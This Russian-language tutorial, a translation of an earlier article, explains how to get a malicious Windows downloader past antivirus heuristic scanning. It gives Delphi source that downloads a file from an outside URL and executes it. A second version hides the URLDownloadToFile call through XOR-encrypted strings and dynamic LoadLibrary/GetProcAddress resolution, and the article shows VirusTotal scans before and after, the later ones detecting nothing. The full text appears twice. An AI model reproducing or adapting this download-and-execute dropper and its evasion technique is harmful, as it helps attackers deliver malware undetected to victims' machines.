Обхождение эвристического анализа антивирусов. В настоящее время, большинство АВ программ используют включённую функцию эвристики, что позволяет определять подозрительный код и API, которые в основном используются вирусами, программами удалённого администрирования и другим вредоносным ПО. Её цель - определять вирус без добавления его сигнатур. Это позволяет обнаружить вирус до того, как он станет известен. В этой статье я попытаюсь рассказать, как обойти эвристический анализ.
Как мы можем это сделать?
Я использую пример Lord'а, мы напишем простой веб-загрузчик который использует широко распространённую API "URLDownLoadToFile". Эта API определяется эвристическим анализом как подозрительный код.
Delphi-код:
После того, как вы скомпилируете код, попробуйте просканировать его антивируом. VirusTotal даёт следующий результат:
Ikarus: Remote Administration Tool-Downloader.Win32.Banload.BQ
Bit defender: BehavesLike:Remote Administration Tool.Downloader
NOD32: NewHeur_PE probably unknown virus
Что ж, для нас это не очень хорошо. Теперь новичок спросил бы себя, как же они смогли определить мой собственный самописный веб-загрузчик?? Ведь я его даже в Интернет не выкладывал.
Эвристический анализ не рассматривает URLDownLoadToFile API как угрозу, если она не совмещена с ShellExecute. Объясняю: когда нашеприложение хочет вызвать функцию URLDownLoadToFile, оно не вызывает его напрямую из .dll-файла, который содержит функцию (urlmon.dll), вместо этого оно вызывает её из памяти. Но exe-файл/dll-файл не знает, например, где в памяти расположен ShellExecute API, следовательно, он использует IAT "Importation Adress Table" (таблицу импорта адресов). IAT знает, где в памяти расположен API, так что наше приложение получает доступ к API через IAT.
Теперь, когда мы знаем, как работает эвристик, пришло время обойти его. Все API, которые использует наше приложение, прописаны в IAT, антивирус сканирует IAT и если наша API там, он обнаруживает её.
Для того, чтобы заставить нашу API не появляться в IAT, мы используем две других API, которые не подозреваются антивирусами. LoadLibrary и GetProcAdress, эти две API с помощью небольшого количества кода динамически загрузят urlmon.dll, который содержит функцию URLDownLoadToFile. Теперь нам не нужно спрашивать IAT о местонахождении наших API, потому что мы загружаем их напрямую.
Время переписать код:
Проверка после компиляции:
Ikarus: No virus found in memory
Bit defender: No virus found in memory
NOD32 : No virus found in memory
Sans Rancune AVs .
Благодарности:
Всю благодарность выражаю Lord'у, так как я просто перевёл его код в Delphi.
Перевод на русский сделал Ma-stiff.
оригинальную статью с исходниками берём здесь.
а вот с чего перевродили..
Как мы можем это сделать?
Я использую пример Lord'а, мы напишем простой веб-загрузчик который использует широко распространённую API "URLDownLoadToFile". Эта API определяется эвристическим анализом как подозрительный код.
Delphi-код:
Код:
CODEprogram Project2;
{$APPTYPE CONSOLE}
uses
URLMon,windows,
ShellApi,
SysUtils;
begin
UrlDownloadToFile(nil, PChar('http://fahde.free.fr/bug/rel/ICrypt%201.0.rar'), PChar('C:\ICrypt.rar'), 0, nil);
ShellExecute(0,'open',PChar('C:\ICrypt.rar'),nil,nil,SW_SHOW);
end.
После того, как вы скомпилируете код, попробуйте просканировать его антивируом. VirusTotal даёт следующий результат:
Ikarus: Remote Administration Tool-Downloader.Win32.Banload.BQ
Bit defender: BehavesLike:Remote Administration Tool.Downloader
NOD32: NewHeur_PE probably unknown virus
Что ж, для нас это не очень хорошо. Теперь новичок спросил бы себя, как же они смогли определить мой собственный самописный веб-загрузчик?? Ведь я его даже в Интернет не выкладывал.
Эвристический анализ не рассматривает URLDownLoadToFile API как угрозу, если она не совмещена с ShellExecute. Объясняю: когда нашеприложение хочет вызвать функцию URLDownLoadToFile, оно не вызывает его напрямую из .dll-файла, который содержит функцию (urlmon.dll), вместо этого оно вызывает её из памяти. Но exe-файл/dll-файл не знает, например, где в памяти расположен ShellExecute API, следовательно, он использует IAT "Importation Adress Table" (таблицу импорта адресов). IAT знает, где в памяти расположен API, так что наше приложение получает доступ к API через IAT.
Теперь, когда мы знаем, как работает эвристик, пришло время обойти его. Все API, которые использует наше приложение, прописаны в IAT, антивирус сканирует IAT и если наша API там, он обнаруживает её.
Для того, чтобы заставить нашу API не появляться в IAT, мы используем две других API, которые не подозреваются антивирусами. LoadLibrary и GetProcAdress, эти две API с помощью небольшого количества кода динамически загрузят urlmon.dll, который содержит функцию URLDownLoadToFile. Теперь нам не нужно спрашивать IAT о местонахождении наших API, потому что мы загружаем их напрямую.
Время переписать код:
Код:
program Project2;
{$APPTYPE CONSOLE}
// By BuGGz : www.instinct-coders.tz4.com
uses
windows,messages,dialogs,
ShellApi,
SysUtils;
type
//мы объявляем функцию с корректными параметрами, чтобы мы смогли управлять ей позже.
TMyProc = function(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD;LPBINDSTATUSCALLBACK: pointer): HResult; stdcall;
//функция для расшифровывания.
function Decrypt(Str : String; Key: string): String;
var
Y, Z : Integer;
B : Byte;
begin
Z := 1;
for Y := 1 to Length(Str) do
begin
B := (ord(Str[Y]) and $0f) xor (ord(Key[Z]) and $0f);
B := b xor 10;
Str[Y] := char((ord(Str[Y]) and $f0) + B);
Inc(Z);
If Z > length(Key) then Z := 1;
end;
Result := Str;
end;
var
Handle: THandle;
Maproc: TMyProc;
crypte,decrypte : string;
begin
Decrypte := Decrypt(']ZDLgfdgil\gNadmI' ,'2');
showmessage(Decrypte); //чтобы убедиться, что окончательный результат будет положительным
Handle := loadlibrary('Urlmon.dll'); //загружаем DLL
if Handle <> 0 then
begin
try
//Расшифровать, потом динамически запустить функцию из DLL
@Maproc := GetProcAddress(Handle, pchar(Decrypt(']ZDLgfdgil\gNadmI' ,'2')));
if @Maproc<> nil then
begin
Maproc(nil,'http://fahde.free.fr/bug/rel/ICrypt%201.0.rar','C:\ICrypt.rar',0, nil); //Это функция загрузки, переименованная в Maproc для избежания обнаружения
ShellExecute(Handle,'open',PChar('C:\ICrypt.rar'),nil,nil,SW_SHOW);
end;
Finally
FreeLibrary(Handle); //Освобождаем DLL-файл после использования
end;
end
end.
Проверка после компиляции:
Ikarus: No virus found in memory
Bit defender: No virus found in memory
NOD32 : No virus found in memory
Sans Rancune AVs .
Благодарности:
Всю благодарность выражаю Lord'у, так как я просто перевёл его код в Delphi.
Перевод на русский сделал Ma-stiff.
оригинальную статью с исходниками берём здесь.
а вот с чего перевродили..